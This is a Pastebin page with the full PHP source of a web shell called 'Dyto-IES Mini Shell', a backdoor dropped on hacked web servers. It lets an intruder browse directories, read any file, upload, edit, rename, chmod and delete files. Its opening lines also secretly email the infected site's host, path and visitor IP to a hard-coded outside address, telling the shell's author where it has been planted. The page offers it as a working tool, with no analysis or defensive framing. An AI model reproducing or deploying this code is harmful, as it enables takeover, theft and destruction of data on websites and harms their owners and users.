Cirara

D-GOD Mini Shell

Apr 21st, 2020
1,668
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 8.94 KB | None | 0 0
  1. <?php
  2. $ip = getenv("REMOTE_ADDR");
  3. $ken = rand(1, 99999);
  4. $subj98 = " Result shell bouz |$ken";
  5. $email = "[email protected]";
  6. $from = "From: [email protected]";
  7. $tot = $_SERVER['REQUEST_URI'];
  8. $kon = $_SERVER['HTTP_HOST'];
  9. $tol = $ip . "";
  10. $msg8873 = "$kon $tot $tol";
  11. mail($email, $subj98, $msg8873, $from);
  12.  
  13. error_reporting(0);
  14. set_time_limit(0);
  15.  
  16. if(get_magic_quotes_gpc()){
  17. foreach($_POST as $key=>$value){
  18. $_POST[$key] = stripslashes($value);
  19. }
  20. }
  21. echo '<!DOCTYPE HTML>
  22. <html>
  23. <head>
  24. <link href="" rel="stylesheet" type="text/css">
  25. <title>Dyto-IES Mini Shell</title>
  26. <style>
  27. body{
  28. font-family: "Times new roman", cursive;
  29. background-color: black;
  30. color:white;
  31. }
  32. #content tr:hover{
  33. background-color: red;
  34. text-shadow:0px 0px 10px #fff;
  35. }
  36. #content .first{
  37. background-color: red;
  38. }
  39. table{
  40. border: 1px #000000 dotted;
  41. }
  42. a{
  43. color:white;
  44. text-decoration: none;
  45. }
  46. a:hover{
  47. color:blue;
  48. text-shadow:0px 0px 10px #ffffff;
  49. }
  50. input,select,textarea{
  51. border: 1px #000000 solid;
  52. -moz-border-radius: 5px;
  53. -webkit-border-radius:5px;
  54. border-radius:5px;
  55. }
  56. </style>
  57. </head>
  58. <body>
  59. <a href="https://ibb.co/F5n4pWj"><img src="https://i.ibb.co/9bGHPvC/IMG-20200103-142233-874.jpg" alt="IMG-20200103-142233-874" border="0"></a>
  60. <iframe width="0" height="0" src="https://c.top4top.io/m_1467efn6q1.mp4" frameborder="0" allowfullscreen></iframe>
  61. <h1><center><font color="white">Dyto-IES Mini Shell</font></center></h1>
  62. <table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  63. <tr><td><font color="white">Path :</font> ';
  64. if(isset($_GET['path'])){
  65. $path = $_GET['path'];
  66. }else{
  67. $path = getcwd();
  68. }
  69. $path = str_replace('\\','/',$path);
  70. $paths = explode('/',$path);
  71.  
  72. foreach($paths as $id=>$pat){
  73. if($pat == '' && $id == 0){
  74. $a = true;
  75. echo '<a href="?path=/">/</a>';
  76. continue;
  77. }
  78. if($pat == '') continue;
  79. echo '<a href="?path=';
  80. for($i=0;$i<=$id;$i++){
  81. echo "$paths[$i]";
  82. if($i != $id) echo "/";
  83. }
  84. echo '">'.$pat.'</a>/';
  85. }
  86. echo '</td></tr><tr><td>';
  87. if(isset($_FILES['file'])){
  88. if(copy($_FILES['file']['tmp_name'],$path.'/'.$_FILES['file']['name'])){
  89. echo '<font color="green">Upload Berhasil</font><br />';
  90. }else{
  91. echo '<font color="red">Upload Gagal</font><br/>';
  92. }
  93. }
  94. echo '<form enctype="multipart/form-data" method="POST">
  95. <font color="white">File Upload :</font> <input type="file" name="file" />
  96. <input type="submit" value="upload" />
  97. </form>
  98. </td></tr>';
  99. if(isset($_GET['filesrc'])){
  100. echo "<tr><td>Current File : ";
  101. echo $_GET['filesrc'];
  102. echo '</tr></td></table><br />';
  103. echo('<pre>'.htmlspecialchars(file_get_contents($_GET['filesrc'])).'</pre>');
  104. }elseif(isset($_GET['option']) && $_POST['opt'] != 'delete'){
  105. echo '</table><br /><center>'.$_POST['path'].'<br /><br />';
  106. if($_POST['opt'] == 'chmod'){
  107. if(isset($_POST['perm'])){
  108. if(chmod($_POST['path'],$_POST['perm'])){
  109. echo '<font color="green">Change Permission Berhasil</font><br/>';
  110. }else{
  111. echo '<font color="red">Change Permission Gagal</font><br />';
  112. }
  113. }
  114. echo '<form method="POST">
  115. Permission : <input name="perm" type="text" size="4" value="'.substr(sprintf('%o', fileperms($_POST['path'])), -4).'" />
  116. <input type="hidden" name="path" value="'.$_POST['path'].'">
  117. <input type="hidden" name="opt" value="chmod">
  118. <input type="submit" value="Go" />
  119. </form>';
  120. }elseif($_POST['opt'] == 'rename'){
  121. if(isset($_POST['newname'])){
  122. if(rename($_POST['path'],$path.'/'.$_POST['newname'])){
  123. echo '<font color="green">Ganti Nama Berhasil</font><br/>';
  124. }else{
  125. echo '<font color="red">Ganti Nama Gagal</font><br />';
  126. }
  127. $_POST['name'] = $_POST['newname'];
  128. }
  129. echo '<form method="POST">
  130. New Name : <input name="newname" type="text" size="20" value="'.$_POST['name'].'" />
  131. <input type="hidden" name="path" value="'.$_POST['path'].'">
  132. <input type="hidden" name="opt" value="rename">
  133. <input type="submit" value="Go" />
  134. </form>';
  135. }elseif($_POST['opt'] == 'edit'){
  136. if(isset($_POST['src'])){
  137. $fp = fopen($_POST['path'],'w');
  138. if(fwrite($fp,$_POST['src'])){
  139. echo '<font color="green">Berhasil Edit File</font><br/>';
  140. }else{
  141. echo '<font color="red">Gagal Edit File</font><br/>';
  142. }
  143. fclose($fp);
  144. }
  145. echo '<form method="POST">
  146. <textarea cols=80 rows=20 name="src">'.htmlspecialchars(file_get_contents($_POST['path'])).'</textarea><br />
  147. <input type="hidden" name="path" value="'.$_POST['path'].'">
  148. <input type="hidden" name="opt" value="edit">
  149. <input type="submit" value="Save" />
  150. </form>';
  151. }
  152. echo '</center>';
  153. }else{
  154. echo '</table><br/><center>';
  155. if(isset($_GET['option']) && $_POST['opt'] == 'delete'){
  156. if($_POST['type'] == 'dir'){
  157. if(rmdir($_POST['path'])){
  158. echo '<font color="green">Directory Terhapus</font><br/>';
  159. }else{
  160. echo '<font color="red">Directory Gagal Terhapus                                                                                                                                                                                                                                                                                             </font><br/>';
  161. }
  162. }elseif($_POST['type'] == 'file'){
  163. if(unlink($_POST['path'])){
  164. echo '<font color="green">File Terhapus</font><br/>';
  165. }else{
  166. echo '<font color="red">File Gagal Dihapus</font><br/>';
  167. }
  168. }
  169. }
  170. echo '</center>';
  171. $scandir = scandir($path);
  172. echo '<div id="content"><table width="700" border="0" cellpadding="3" cellspacing="1" align="center">
  173. <tr class="first">
  174. <td><center>Name</peller></center></td>
  175. <td><center>Size</peller></center></td>
  176. <td><center>Permission</peller></center></td>
  177. <td><center>Modify</peller></center></td>
  178. </tr>';
  179.  
  180. foreach($scandir as $dir){
  181. if(!is_dir($path.'/'.$dir) || $dir == '.' || $dir == '..') continue;
  182. echo '<tr>
  183. <td><a href="?path='.$path.'/'.$dir.'">'.$dir.'</a></td>
  184. <td><center>--</center></td>
  185. <td><center>';
  186. if(is_writable($path.'/'.$dir)) echo '<font color="green">';
  187. elseif(!is_readable($path.'/'.$dir)) echo '<font color="red">';
  188. echo perms($path.'/'.$dir);
  189. if(is_writable($path.'/'.$dir) || !is_readable($path.'/'.$dir)) echo '</font>';
  190.  
  191. echo '</center></td>
  192. <td><center><form method="POST" action="?option&path='.$path.'">
  193. <select name="opt">
  194. <option value="">Select</option>
  195. <option value="delete">Delete</option>
  196. <option value="chmod">Chmod</option>
  197. <option value="rename">Rename</option>
  198. </select>
  199. <input type="hidden" name="type" value="dir">
  200. <input type="hidden" name="name" value="'.$dir.'">
  201. <input type="hidden" name="path" value="'.$path.'/'.$dir.'">
  202. <input type="submit" value=">">
  203. </form></center></td>
  204. </tr>';
  205. }
  206. echo '<tr class="first"><td></td><td></td><td></td><td></td></tr>';
  207. foreach($scandir as $file){
  208. if(!is_file($path.'/'.$file)) continue;
  209. $size = filesize($path.'/'.$file)/1024;
  210. $size = round($size,3);
  211. if($size >= 1024){
  212. $size = round($size/1024,2).' MB';
  213. }else{
  214. $size = $size.' KB';
  215. }
  216.  
  217. echo '<tr>
  218. <td><a href="?filesrc='.$path.'/'.$file.'&path='.$path.'">'.$file.'</a></td>
  219. <td><center>'.$size.'</center></td>
  220. <td><center>';
  221. if(is_writable($path.'/'.$file)) echo '<font color="green">';
  222. elseif(!is_readable($path.'/'.$file)) echo '<font color="red">';
  223. echo perms($path.'/'.$file);
  224. if(is_writable($path.'/'.$file) || !is_readable($path.'/'.$file)) echo '</font>';
  225. echo '</center></td>
  226. <td><center><form method="POST" action="?option&path='.$path.'">
  227. <select name="opt">
  228. <option value="">Select</option>
  229. <option value="delete">Delete</option>
  230. <option value="chmod">Chmod</option>
  231. <option value="rename">Rename</option>
  232. <option value="edit">Edit</option>
  233. </select>
  234. <input type="hidden" name="type" value="file">
  235. <input type="hidden" name="name" value="'.$file.'">
  236. <input type="hidden" name="path" value="'.$path.'/'.$file.'">
  237. <input type="submit" value=">">
  238. </form></center></td>
  239. </tr>';
  240. }
  241. echo '</table>
  242. </div>';
  243. }
  244. echo '<center><br/>Copyright Dyto-IES @ 2020- INDONESIAN ERROR SYSTEM</center>
  245. </body>
  246. </html>';
  247. function perms($file){
  248. $perms = fileperms($file);
  249.  
  250. if (($perms & 0xC000) == 0xC000) {
  251. // Socket
  252. $info = 's';
  253. } elseif (($perms & 0xA000) == 0xA000) {
  254. // Symbolic Link
  255. $info = 'l';
  256. } elseif (($perms & 0x8000) == 0x8000) {
  257. // Regular
  258. $info = '-';
  259. } elseif (($perms & 0x6000) == 0x6000) {
  260. // Block special
  261. $info = 'b';
  262. } elseif (($perms & 0x4000) == 0x4000) {
  263. // Directory
  264. $info = 'd';
  265. } elseif (($perms & 0x2000) == 0x2000) {
  266. // Character special
  267. $info = 'c';
  268. } elseif (($perms & 0x1000) == 0x1000) {
  269. // FIFO pipe
  270. $info = 'p';
  271. } else {
  272. // Unknown
  273. $info = 'u';
  274. }
  275.  
  276. // Owner
  277. $info .= (($perms & 0x0100) ? 'r' : '-');
  278. $info .= (($perms & 0x0080) ? 'w' : '-');
  279. $info .= (($perms & 0x0040) ?
  280. (($perms & 0x0800) ? 's' : 'x' ) :
  281. (($perms & 0x0800) ? 'S' : '-'));
  282.  
  283. // Group
  284. $info .= (($perms & 0x0020) ? 'r' : '-');
  285. $info .= (($perms & 0x0010) ? 'w' : '-');
  286. $info .= (($perms & 0x0008) ?
  287. (($perms & 0x0400) ? 's' : 'x' ) :
  288. (($perms & 0x0400) ? 'S' : '-'));
  289.  
  290. // World
  291. $info .= (($perms & 0x0004) ? 'r' : '-');
  292. $info .= (($perms & 0x0002) ? 'w' : '-');
  293. $info .= (($perms & 0x0001) ?
  294. (($perms & 0x0200) ? 't' : 'x' ) :
  295. (($perms & 0x0200) ? 'T' : '-'));
  296.  
  297. return $info;
  298. }
  299. ?>
Advertisement
Add Comment
Please, Sign In to add comment